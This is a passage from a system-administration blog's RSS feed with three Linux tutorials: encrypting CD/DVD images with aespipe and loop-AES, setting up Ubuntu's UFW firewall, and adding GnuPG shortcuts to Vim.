		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.savvyadmin.com/?p=288</guid>
		<description><![CDATA[When backing up data to a CD or DVD, you may find it useful to encrypt the entire disc just in case the media falls into the wrong hands. Some people may advise compressing your files within tar/gzip archive and use PGP to encrypt the data, burning the resulting data to disc. The challenge, however, [...]


Related posts:<ol><li><a href='http://savvyadmin.com/grub-password-security/' rel='bookmark' title='Permanent Link: GRUB Password Security'>GRUB Password Security</a></li>
<li><a href='http://savvyadmin.com/revelation-password-manager-for-gnome/' rel='bookmark' title='Permanent Link: Revelation Password Manager for Gnome'>Revelation Password Manager for Gnome</a></li>
<li><a href='http://savvyadmin.com/perform-gnupg-functions-within-vim/' rel='bookmark' title='Permanent Link: Perform GnuPG Functions Within Vim'>Perform GnuPG Functions Within Vim</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>When backing up data to a CD or DVD, you may find it useful to encrypt the entire disc just in case the media falls into the wrong hands.  Some people may advise compressing your files within tar/gzip archive and use PGP to encrypt the data, burning the resulting data to disc.  The challenge, however, is how easy it is to work with the data after the burn process.  You are typically required to decrypt and extract the archive to your hard disk if you wish to access the files within.</p>
<p>A much more flexible method for Linux users is to encrypt the entire CD or DVD with an AES symmetric key, and work with the data by simply mounting the disc.  This means you don&#8217;t have to copy the files, they are simply presented to you as you would expect with an unencrypted disc.</p>
<p><strong>Prerequisites</strong></p>
<p>Prerequisites include loading the <em>Cryptoloop</em> kernel module and the installation of the <a href="http://loop-aes.sourceforge.net/" target="_blank">Loop-AES</a> toolset.  Installing these packages in Ubuntu/Debian and loading the <em>cryptoloop</em> module is a snap.</p>
<blockquote><pre><strong>sudo apt-get install aespipe loop-aes-utils
sudo modprobe cryptoloop</strong></pre>
</blockquote>
<p>Verify that cryptoloop and AES kernel modules are loaded with <em>lsmod</em>.</p>
<blockquote><pre><strong>lsmod | grep cryptoloop</strong>
cryptoloop             10880  0
loop                   23180  1 cryptoloop

<strong>lsmod | grep aes</strong>
aes_i586               15744  2
aes_generic            35880  1 aes_i586</pre>
</blockquote>
<p>If you had to load these modules by hand, make sure to add them to <em>/etc/modules</em> so that they are loaded on boot up.</p>
<p><strong>Create, burn and mount encrypted images</strong></p>
<p>To create a standard CD image, use <em>genisofs</em> (formally known as <em>mkisofs</em>), pipe the output to <em>aespipe</em>, and redirect the final output to an ISO file.  Notice that we have specified that <em>aespipe</em> will use AES256 encryption, and it will has you to enter a password twice.  Don&#8217;t lose it!  ;)</p>
<blockquote><pre><strong>genisoimage -quiet -r Documents/ | aespipe -T -e aes256 > documents.iso</strong>
Password: (enter password)
Retype password: (enter password)</pre>
</blockquote>
<p>Mount the image using the <em>encryption</em> option.  The mounting process will ask you for the passphrase.</p>
<blockquote><pre><strong>sudo mount -o loop,encryption=aes256 documents.iso /mnt</strong>
Password: (enter password)</pre>
</blockquote>
<p>Burn the disc image, replacing <em>/dev/dvdrw</em> with the appropriate value for your system.  <em>wodim</em> was formerly known as <em>cdrecord</em>, so feel free to replace it with any command you are familiar with.</p>
<blockquote><pre><strong>wodim dev=/dev/dvdrw documents.iso</strong></pre>
</blockquote>
<p>Mount the CD/DVD using the same mount options as previously demonstrated.</p>
<blockquote><pre><strong>sudo mount -o loop,encryption=aes256 /dev/dvdrw /mnt</strong>
Password: (enter password)</pre>
</blockquote>
<p>Work with your files as you would with any normal CD or DVD.</p>
<blockquote><pre><strong>ls -l /mnt/</strong>
total 0
-r--r--r-- 1 root root 0 2008-11-26 17:09 secretfile1.txt
-r--r--r-- 1 root root 0 2008-11-26 17:09 secretfile2.txt
-r--r--r-- 1 root root 0 2008-11-26 17:09 secretfile3.txt
-r--r--r-- 1 root root 0 2008-11-26 17:09 secretfile4.txt</pre>
</blockquote>

<div class="sociable">
<div class="sociable_tagline">
<strong>Share and Enjoy:</strong>
</div>
<ul>
	<li class="sociablefirst"><a rel="nofollow"  href="http://www.printfriendly.com/print?url=http%3A%2F%2Fsavvyadmin.com%2Fcreate-encrypted-cds-and-dvds-in-linux%2F&amp;partner=sociable" title="Print"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/printfriendly.png" title="Print" alt="Print" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://www.facebook.com/share.php?u=http%3A%2F%2Fsavvyadmin.com%2Fcreate-encrypted-cds-and-dvds-in-linux%2F&amp;t=Create%20Encrypted%20CD%27s%20and%20DVD%27s%20in%20Linux" title="Facebook"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/facebook.png" title="Facebook" alt="Facebook" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://twitter.com/home?status=Create%20Encrypted%20CD%27s%20and%20DVD%27s%20in%20Linux%20-%20http%3A%2F%2Fsavvyadmin.com%2Fcreate-encrypted-cds-and-dvds-in-linux%2F" title="Twitter"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/twitter.png" title="Twitter" alt="Twitter" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://delicious.com/post?url=http%3A%2F%2Fsavvyadmin.com%2Fcreate-encrypted-cds-and-dvds-in-linux%2F&amp;title=Create%20Encrypted%20CD%27s%20and%20DVD%27s%20in%20Linux&amp;notes=When%20backing%20up%20data%20to%20a%20CD%20or%20DVD%2C%20you%20may%20find%20it%20useful%20to%20encrypt%20the%20entire%20disc%20just%20in%20case%20the%20media%20falls%20into%20the%20wrong%20hands.%20%20Some%20people%20may%20advise%20compressing%20your%20files%20within%20tar%2Fgzip%20archive%20and%20use%20PGP%20to%20encrypt%20the%20data%2C%20burning%20" title="del.icio.us"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/delicious.png" title="del.icio.us" alt="del.icio.us" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://savvyadmin.com/feed/" title="RSS"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/rss.png" title="RSS" alt="RSS" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://digg.com/submit?phase=2&amp;url=http%3A%2F%2Fsavvyadmin.com%2Fcreate-encrypted-cds-and-dvds-in-linux%2F&amp;title=Create%20Encrypted%20CD%27s%20and%20DVD%27s%20in%20Linux&amp;bodytext=When%20backing%20up%20data%20to%20a%20CD%20or%20DVD%2C%20you%20may%20find%20it%20useful%20to%20encrypt%20the%20entire%20disc%20just%20in%20case%20the%20media%20falls%20into%20the%20wrong%20hands.%20%20Some%20people%20may%20advise%20compressing%20your%20files%20within%20tar%2Fgzip%20archive%20and%20use%20PGP%20to%20encrypt%20the%20data%2C%20burning%20" title="Digg"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/digg.png" title="Digg" alt="Digg" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="mailto:?subject=Create%20Encrypted%20CD%27s%20and%20DVD%27s%20in%20Linux&amp;body=http%3A%2F%2Fsavvyadmin.com%2Fcreate-encrypted-cds-and-dvds-in-linux%2F" title="email"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/email_link.png" title="email" alt="email" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http%3A%2F%2Fsavvyadmin.com%2Fcreate-encrypted-cds-and-dvds-in-linux%2F&amp;title=Create%20Encrypted%20CD%27s%20and%20DVD%27s%20in%20Linux&amp;source=SavvyAdmin.com+For+savvy+admins+everywhere...&amp;summary=When%20backing%20up%20data%20to%20a%20CD%20or%20DVD%2C%20you%20may%20find%20it%20useful%20to%20encrypt%20the%20entire%20disc%20just%20in%20case%20the%20media%20falls%20into%20the%20wrong%20hands.%20%20Some%20people%20may%20advise%20compressing%20your%20files%20within%20tar%2Fgzip%20archive%20and%20use%20PGP%20to%20encrypt%20the%20data%2C%20burning%20" title="LinkedIn"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/linkedin.png" title="LinkedIn" alt="LinkedIn" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://identi.ca/notice/new?status_textarea=http%3A%2F%2Fsavvyadmin.com%2Fcreate-encrypted-cds-and-dvds-in-linux%2F" title="Identi.ca"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/identica.png" title="Identi.ca" alt="Identi.ca" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://www.google.com/bookmarks/mark?op=edit&amp;bkmk=http%3A%2F%2Fsavvyadmin.com%2Fcreate-encrypted-cds-and-dvds-in-linux%2F&amp;title=Create%20Encrypted%20CD%27s%20and%20DVD%27s%20in%20Linux&amp;annotation=When%20backing%20up%20data%20to%20a%20CD%20or%20DVD%2C%20you%20may%20find%20it%20useful%20to%20encrypt%20the%20entire%20disc%20just%20in%20case%20the%20media%20falls%20into%20the%20wrong%20hands.%20%20Some%20people%20may%20advise%20compressing%20your%20files%20within%20tar%2Fgzip%20archive%20and%20use%20PGP%20to%20encrypt%20the%20data%2C%20burning%20" title="Google Bookmarks"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/googlebookmark.png" title="Google Bookmarks" alt="Google Bookmarks" class="sociable-hovers" /></a></li>
	<li class="sociablelast"><a rel="nofollow"  href="http://www.stumbleupon.com/submit?url=http%3A%2F%2Fsavvyadmin.com%2Fcreate-encrypted-cds-and-dvds-in-linux%2F&amp;title=Create%20Encrypted%20CD%27s%20and%20DVD%27s%20in%20Linux" title="StumbleUpon"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/stumbleupon.png" title="StumbleUpon" alt="StumbleUpon" class="sociable-hovers" /></a></li>
</ul>
</div>


<p>Related posts:<ol><li><a href='http://savvyadmin.com/grub-password-security/' rel='bookmark' title='Permanent Link: GRUB Password Security'>GRUB Password Security</a></li>
<li><a href='http://savvyadmin.com/revelation-password-manager-for-gnome/' rel='bookmark' title='Permanent Link: Revelation Password Manager for Gnome'>Revelation Password Manager for Gnome</a></li>
<li><a href='http://savvyadmin.com/perform-gnupg-functions-within-vim/' rel='bookmark' title='Permanent Link: Perform GnuPG Functions Within Vim'>Perform GnuPG Functions Within Vim</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://savvyadmin.com/create-encrypted-cds-and-dvds-in-linux/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Ubuntu&#8217;s Uncomplicated Firewall (UFW)</title>
		<link>http://savvyadmin.com/ubuntus-ufw/</link>
		<comments>http://savvyadmin.com/ubuntus-ufw/#comments</comments>
		<pubDate>Sun, 21 Sep 2008 01:06:01 +0000</pubDate>
		<dc:creator>gmendoza</dc:creator>
				<category><![CDATA[Tech Tips]]></category>
		<category><![CDATA[Networking]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[UFW]]></category>

		<guid isPermaLink="false">http://www.savvyadmin.com/?p=190</guid>
		<description><![CDATA[Introduced first in Ubuntu 8.04, UFW is Ubuntu&#8217;s &#8220;uncomplicated firewall&#8221;, a remarkably easy to use tool for creating simple iptables firewall rules. The goal behind UFW is to make it easy for administrators and even third party packages to work with firewall rules in a clean and consistent manner. When UFW is enabled, the default [...]


Related posts:<ol><li><a href='http://savvyadmin.com/fwknop-single-packet-authorization-in-ubuntu/' rel='bookmark' title='Permanent Link: fwknop: Single Packet Authorization in Ubuntu'>fwknop: Single Packet Authorization in Ubuntu</a></li>
<li><a href='http://savvyadmin.com/vlan-hopping-on-cisco-voice-enabled-switch-ports/' rel='bookmark' title='Permanent Link: VLAN Hopping on Cisco Voice-enabled Switch Ports'>VLAN Hopping on Cisco Voice-enabled Switch Ports</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>Introduced first in Ubuntu 8.04, UFW is Ubuntu&#8217;s &#8220;uncomplicated firewall&#8221;, a remarkably easy to use tool for creating simple iptables firewall rules.  The goal behind UFW is to make it easy for administrators and even third party packages to work with firewall rules in a clean and consistent manner.  When UFW is enabled, the default set of rules work very well for the average server or desktop platform, as it blocks all non-essential inbound network access without hobbling certain types of useful protocols and return traffic.</p>
<p>In the following example, we will set up a very simple firewall adequate for almost anyone.</p>
<p>First, let&#8217;s check the status of UFW, and the currently installed iptables rule set.  The following displays that UFW is disabled and that there are no rules for iptables INPUT chain.</p>
<p><strong>Check firewall status</strong></p>
<blockquote><pre><strong>sudo ufw status</strong>
Firewall not loaded

<strong>sudo iptables -L INPUT -n | column -t</strong>
Chain             INPUT  (policy  DROP)
target            prot   opt      source     destination</pre>
</blockquote>
<p><strong>Enable UFW</strong></p>
<p>Now, let&#8217;s enable UFW and examine the change to iptables&#8217; INPUT chain.</p>
<blockquote><pre><strong>sudo ufw enable</strong>
Firewall started and enabled on system startup

<strong>sudo iptables -L INPUT -n | column -t</strong>
Chain             INPUT  (policy  DROP)
target            prot   opt      source     destination
ufw-before-input  all    --       0.0.0.0/0  0.0.0.0/0
ufw-after-input   all    --       0.0.0.0/0  0.0.0.0/0</pre>
</blockquote>
<p>The default policy was changed to drop all traffic, and two new chains are referenced.  For a much better understanding of what the default rules are, take a look at the files &#8220;<em>/etc/ufw/before.rules</em>&#8221; and &#8220;<em>/etc/ufw/after.rules</em>&#8220;.</p>
<p><strong>Connection Tracking</strong></p>
<p>For your convenience, UFW also enables some very useful connection tracking rules, which intelligently inspect outbound application traffic and dynamically allows the return traffic for you.  By default, TCP, UDP, FTP and IRC connection tracking modules are loaded, but others may be added to the IPT_MODULES variable in the file &#8220;<em>/etc/default/ufw</em>&#8220;.</p>
<p>For example, I sometimes need to use TFTP for sending and receiving firmware to and from routers.  So I typically add &#8220;nf_conntrack_tftp&#8221; to the variable IPT_MODULES.</p>
<blockquote><pre>IPT_MODULES="nf_conntrack_ftp nf_nat_ftp nf_conntrack_irc nf_nat_irc nf_conntrack_tftp"</pre>
</blockquote>
<p>Remember to reload UFW so that the conntrack module is loaded.</p>
<blockquote><pre><strong>sudo /etc/init.d/ufw restart</strong></pre>
</blockquote>
<p><strong>Allowing inbound services</strong></p>
<p>If your system runs server applications such as DNS, SSH, TFTP and web, then you can add them to your firewall rules using these very simple commands.  If you don&#8217;t run servers on your machine, this step can be skipped.</p>
<blockquote><pre><strong>sudo ufw allow 53
sudo ufw allow 22/tcp
sudo ufw allow 69/udp
sudo ufw allow 80/tcp</strong></pre>
</blockquote>
<p>Notice that the first command I used did not specify UDP or TCP.  When omitted, UFW adds both protocols.  DNS uses TCP for larger DNS exchanges like zone transfers and huge replies, so you&#8217;ll probably want both.</p>
<p>UFW displays the results very nicely.</p>
<blockquote><pre><strong>sudo ufw status</strong>
Firewall loaded

To                         Action  From
--                         ------  ----
53:tcp                     ALLOW   Anywhere
53:udp                     ALLOW   Anywhere
22:tcp                     ALLOW   Anywhere
69:udp                     ALLOW   Anywhere
80:tcp                     ALLOW   Anywhere</pre>
</blockquote>
<p><strong>SYN cookies and more</strong></p>
<p>UFW can be used to load kernel options, too.  These are defined in &#8220;<em>/etc/ufw/sysctl.conf</em>&#8220;.  For example, I wanted to enable SYN cookies which was added to thwart certain TCP DoS attacks.  Modify the following line to 1 in order to enable the feature.</p>
<blockquote><pre>net/ipv4/tcp_syncookies=1</pre>
</blockquote>
<p><strong>Logging can suck</strong></p>
<p>Okay, if you&#8217;re on a busy network and don&#8217;t want to fill up your syslog, you might want to disable UFW&#8217;s logging.</p>
<blockquote><pre><strong>sudo ufw logging off</strong></pre>
</blockquote>
<p>And really that&#8217;s all there is to it.  Be sure to check out the man page for some more examples and features you may be interested in.</p>

<div class="sociable">
<div class="sociable_tagline">
<strong>Share and Enjoy:</strong>
</div>
<ul>
	<li class="sociablefirst"><a rel="nofollow"  href="http://www.printfriendly.com/print?url=http%3A%2F%2Fsavvyadmin.com%2Fubuntus-ufw%2F&amp;partner=sociable" title="Print"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/printfriendly.png" title="Print" alt="Print" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://www.facebook.com/share.php?u=http%3A%2F%2Fsavvyadmin.com%2Fubuntus-ufw%2F&amp;t=Ubuntu%27s%20Uncomplicated%20Firewall%20%28UFW%29" title="Facebook"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/facebook.png" title="Facebook" alt="Facebook" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://twitter.com/home?status=Ubuntu%27s%20Uncomplicated%20Firewall%20%28UFW%29%20-%20http%3A%2F%2Fsavvyadmin.com%2Fubuntus-ufw%2F" title="Twitter"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/twitter.png" title="Twitter" alt="Twitter" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://delicious.com/post?url=http%3A%2F%2Fsavvyadmin.com%2Fubuntus-ufw%2F&amp;title=Ubuntu%27s%20Uncomplicated%20Firewall%20%28UFW%29&amp;notes=Introduced%20first%20in%20Ubuntu%208.04%2C%20UFW%20is%20Ubuntu%27s%20%22uncomplicated%20firewall%22%2C%20a%20remarkably%20easy%20to%20use%20tool%20for%20creating%20simple%20iptables%20firewall%20rules.%20%20The%20goal%20behind%20UFW%20is%20to%20make%20it%20easy%20for%20administrators%20and%20even%20third%20party%20packages%20to%20work%20wit" title="del.icio.us"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/delicious.png" title="del.icio.us" alt="del.icio.us" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://savvyadmin.com/feed/" title="RSS"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/rss.png" title="RSS" alt="RSS" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://digg.com/submit?phase=2&amp;url=http%3A%2F%2Fsavvyadmin.com%2Fubuntus-ufw%2F&amp;title=Ubuntu%27s%20Uncomplicated%20Firewall%20%28UFW%29&amp;bodytext=Introduced%20first%20in%20Ubuntu%208.04%2C%20UFW%20is%20Ubuntu%27s%20%22uncomplicated%20firewall%22%2C%20a%20remarkably%20easy%20to%20use%20tool%20for%20creating%20simple%20iptables%20firewall%20rules.%20%20The%20goal%20behind%20UFW%20is%20to%20make%20it%20easy%20for%20administrators%20and%20even%20third%20party%20packages%20to%20work%20wit" title="Digg"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/digg.png" title="Digg" alt="Digg" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="mailto:?subject=Ubuntu%27s%20Uncomplicated%20Firewall%20%28UFW%29&amp;body=http%3A%2F%2Fsavvyadmin.com%2Fubuntus-ufw%2F" title="email"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/email_link.png" title="email" alt="email" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http%3A%2F%2Fsavvyadmin.com%2Fubuntus-ufw%2F&amp;title=Ubuntu%27s%20Uncomplicated%20Firewall%20%28UFW%29&amp;source=SavvyAdmin.com+For+savvy+admins+everywhere...&amp;summary=Introduced%20first%20in%20Ubuntu%208.04%2C%20UFW%20is%20Ubuntu%27s%20%22uncomplicated%20firewall%22%2C%20a%20remarkably%20easy%20to%20use%20tool%20for%20creating%20simple%20iptables%20firewall%20rules.%20%20The%20goal%20behind%20UFW%20is%20to%20make%20it%20easy%20for%20administrators%20and%20even%20third%20party%20packages%20to%20work%20wit" title="LinkedIn"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/linkedin.png" title="LinkedIn" alt="LinkedIn" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://identi.ca/notice/new?status_textarea=http%3A%2F%2Fsavvyadmin.com%2Fubuntus-ufw%2F" title="Identi.ca"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/identica.png" title="Identi.ca" alt="Identi.ca" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://www.google.com/bookmarks/mark?op=edit&amp;bkmk=http%3A%2F%2Fsavvyadmin.com%2Fubuntus-ufw%2F&amp;title=Ubuntu%27s%20Uncomplicated%20Firewall%20%28UFW%29&amp;annotation=Introduced%20first%20in%20Ubuntu%208.04%2C%20UFW%20is%20Ubuntu%27s%20%22uncomplicated%20firewall%22%2C%20a%20remarkably%20easy%20to%20use%20tool%20for%20creating%20simple%20iptables%20firewall%20rules.%20%20The%20goal%20behind%20UFW%20is%20to%20make%20it%20easy%20for%20administrators%20and%20even%20third%20party%20packages%20to%20work%20wit" title="Google Bookmarks"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/googlebookmark.png" title="Google Bookmarks" alt="Google Bookmarks" class="sociable-hovers" /></a></li>
	<li class="sociablelast"><a rel="nofollow"  href="http://www.stumbleupon.com/submit?url=http%3A%2F%2Fsavvyadmin.com%2Fubuntus-ufw%2F&amp;title=Ubuntu%27s%20Uncomplicated%20Firewall%20%28UFW%29" title="StumbleUpon"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/stumbleupon.png" title="StumbleUpon" alt="StumbleUpon" class="sociable-hovers" /></a></li>
</ul>
</div>


<p>Related posts:<ol><li><a href='http://savvyadmin.com/fwknop-single-packet-authorization-in-ubuntu/' rel='bookmark' title='Permanent Link: fwknop: Single Packet Authorization in Ubuntu'>fwknop: Single Packet Authorization in Ubuntu</a></li>
<li><a href='http://savvyadmin.com/vlan-hopping-on-cisco-voice-enabled-switch-ports/' rel='bookmark' title='Permanent Link: VLAN Hopping on Cisco Voice-enabled Switch Ports'>VLAN Hopping on Cisco Voice-enabled Switch Ports</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://savvyadmin.com/ubuntus-ufw/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Perform GnuPG Functions Within Vim</title>
		<link>http://savvyadmin.com/perform-gnupg-functions-within-vim/</link>
		<comments>http://savvyadmin.com/perform-gnupg-functions-within-vim/#comments</comments>
		<pubDate>Mon, 08 Oct 2007 14:05:42 +0000</pubDate>
		<dc:creator>gmendoza</dc:creator>
				<category><![CDATA[Tech Tips]]></category>
		<category><![CDATA[cryptography]]></category>
		<category><![CDATA[GnuPG]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[PGP]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Vim]]></category>

		<guid isPermaLink="false">http://www.savvyadmin.com/2007/10/08/perform-gnupg-functions-within-vim/</guid>
		<description><![CDATA[Performing GnuPG functions from Vim is actually pretty helpful if you work heavily with both applications on a regular basis. I was recently looking for a simple way to both word wrap and clearsign various text files within Vim, and found just what I was looking for. 1. (optional) Set the word wrap of text [...]


Related posts:<ol><li><a href='http://savvyadmin.com/vim-in-color/' rel='bookmark' title='Permanent Link: Vim in Color'>Vim in Color</a></li>
<li><a href='http://savvyadmin.com/revelation-password-manager-for-gnome/' rel='bookmark' title='Permanent Link: Revelation Password Manager for Gnome'>Revelation Password Manager for Gnome</a></li>
<li><a href='http://savvyadmin.com/grub-password-security/' rel='bookmark' title='Permanent Link: GRUB Password Security'>GRUB Password Security</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>Performing GnuPG functions from Vim is actually pretty helpful if you work heavily with both applications on a regular basis.  I was recently looking for a simple way to both word wrap and clearsign various text files within Vim, and found just what I was looking for.</p>
<p>1. (optional) Set the word wrap of text in Vim to a maximum text width of 70 characters.  This can be done manually, or by simply adding the following text to your &#8220;~/.vimrc&#8221; file:</p>
<blockquote><p><code>:set textwidth=70</code></p></blockquote>
<p>2. As for the ability to clearsign, encrypt, decrypt and verify the text from within Vim, you can create command mode aliases as shortcuts for longer commands in Vim.  Simply add the following to your &#8220;~/.vimrc&#8221; file:</p>
<blockquote><p><code>:cmap cs %!gpg --clearsign<br />
:cmap es %!gpg -seat<br />
:cmap ee %!gpg -eat<br />
:cmap de %!gpg -d</code></p></blockquote>
<p>Once you save the changes to your .vimrc file, open any text file with vim, enter command mode, and type any of the shortcuts mentioned in step two; &#8220;cs&#8221; to clearsign, &#8220;es&#8221; to encrypt and sign, &#8220;ee&#8221; to encrypt with no signature, and &#8220;de&#8221; to decrypt or verify.  The shortcut will display the command about to be issued, to which you can hit can enter to execute it.  You will be prompted for recipients, and/or the private key passphrase depending on the function you choose.</p>
<p>If you are familiar with GnuPG syntax, you can change or add any of the above commands to your liking.  For instance, for those of you with multiple PGP keys, you can add the &#8220;-u&#8221;option to specify which one you would like to use.</p>
<p>To wrap an existing unwrapped text file, simply higlight the entire message by placing the Vim cursor at the top of the file, press &lt;shift&gt;+V, followed by &lt;shift&gt;+G.  This highlights all text as you will notice.  While everything is highlighted, simply press &#8220;gq&#8221;.  This will wrap everything according to your &#8220;textwidth&#8221; variable.</p>
<p>Feel free to test it out, and provide as much feedback as you like.  Have fun.</p>
<p><strong>Special Note:</strong><br />
When using the &#8220;textwidth&#8221; variable, you may find that it is useful to toggle the paste function.  If you are pasting text that has a larger text width than that of which you have specified in Vim (in this case 70 characters), then your paste will automatically be word wrapped to 70.</p>
<p>You may not want this behavior, so the two opposing options you can set manually are:</p>
<blockquote><p><code>:set paste<br />
:set nopaste</code></p></blockquote>
<p>Better yet, you can map a quick function key to toggle it on or off by adding the following to your .vimrc file:</p>
<blockquote><p><code>:set pastetoggle=&lt;F10&gt;</code></p></blockquote>
<p>To test, while in insert mode of Vim, press the F10 key, and you will notice that the mode will be clearly identified with:<br />
<code>"-- INSERT (paste) --"</code></p>
<p>This will allow you to paste text in it&#8217;s unwrapped form.</p>

<div class="sociable">
<div class="sociable_tagline">
<strong>Share and Enjoy:</strong>
</div>
<ul>
	<li class="sociablefirst"><a rel="nofollow"  href="http://www.printfriendly.com/print?url=http%3A%2F%2Fsavvyadmin.com%2Fperform-gnupg-functions-within-vim%2F&amp;partner=sociable" title="Print"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/printfriendly.png" title="Print" alt="Print" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://www.facebook.com/share.php?u=http%3A%2F%2Fsavvyadmin.com%2Fperform-gnupg-functions-within-vim%2F&amp;t=Perform%20GnuPG%20Functions%20Within%20Vim" title="Facebook"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/facebook.png" title="Facebook" alt="Facebook" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://twitter.com/home?status=Perform%20GnuPG%20Functions%20Within%20Vim%20-%20http%3A%2F%2Fsavvyadmin.com%2Fperform-gnupg-functions-within-vim%2F" title="Twitter"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/twitter.png" title="Twitter" alt="Twitter" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://delicious.com/post?url=http%3A%2F%2Fsavvyadmin.com%2Fperform-gnupg-functions-within-vim%2F&amp;title=Perform%20GnuPG%20Functions%20Within%20Vim&amp;notes=Performing%20GnuPG%20functions%20from%20Vim%20is%20actually%20pretty%20helpful%20if%20you%20work%20heavily%20with%20both%20applications%20on%20a%20regular%20basis.%20%20I%20was%20recently%20looking%20for%20a%20simple%20way%20to%20both%20word%20wrap%20and%20clearsign%20various%20text%20files%20within%20Vim%2C%20and%20found%20just%20what%20" title="del.icio.us"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/delicious.png" title="del.icio.us" alt="del.icio.us" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://savvyadmin.com/feed/" title="RSS"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/rss.png" title="RSS" alt="RSS" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://digg.com/submit?phase=2&amp;url=http%3A%2F%2Fsavvyadmin.com%2Fperform-gnupg-functions-within-vim%2F&amp;title=Perform%20GnuPG%20Functions%20Within%20Vim&amp;bodytext=Performing%20GnuPG%20functions%20from%20Vim%20is%20actually%20pretty%20helpful%20if%20you%20work%20heavily%20with%20both%20applications%20on%20a%20regular%20basis.%20%20I%20was%20recently%20looking%20for%20a%20simple%20way%20to%20both%20word%20wrap%20and%20clearsign%20various%20text%20files%20within%20Vim%2C%20and%20found%20just%20what%20" title="Digg"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/digg.png" title="Digg" alt="Digg" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="mailto:?subject=Perform%20GnuPG%20Functions%20Within%20Vim&amp;body=http%3A%2F%2Fsavvyadmin.com%2Fperform-gnupg-functions-within-vim%2F" title="email"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/email_link.png" title="email" alt="email" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http%3A%2F%2Fsavvyadmin.com%2Fperform-gnupg-functions-within-vim%2F&amp;title=Perform%20GnuPG%20Functions%20Within%20Vim&amp;source=SavvyAdmin.com+For+savvy+admins+everywhere...&amp;summary=Performing%20GnuPG%20functions%20from%20Vim%20is%20actually%20pretty%20helpful%20if%20you%20work%20heavily%20with%20both%20applications%20on%20a%20regular%20basis.%20%20I%20was%20recently%20looking%20for%20a%20simple%20way%20to%20both%20word%20wrap%20and%20clearsign%20various%20text%20files%20within%20Vim%2C%20and%20found%20just%20what%20" title="LinkedIn"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/linkedin.png" title="LinkedIn" alt="LinkedIn" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://identi.ca/notice/new?status_textarea=http%3A%2F%2Fsavvyadmin.com%2Fperform-gnupg-functions-within-vim%2F" title="Identi.ca"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/identica.png" title="Identi.ca" alt="Identi.ca" class="sociable-hovers" /></a></li>
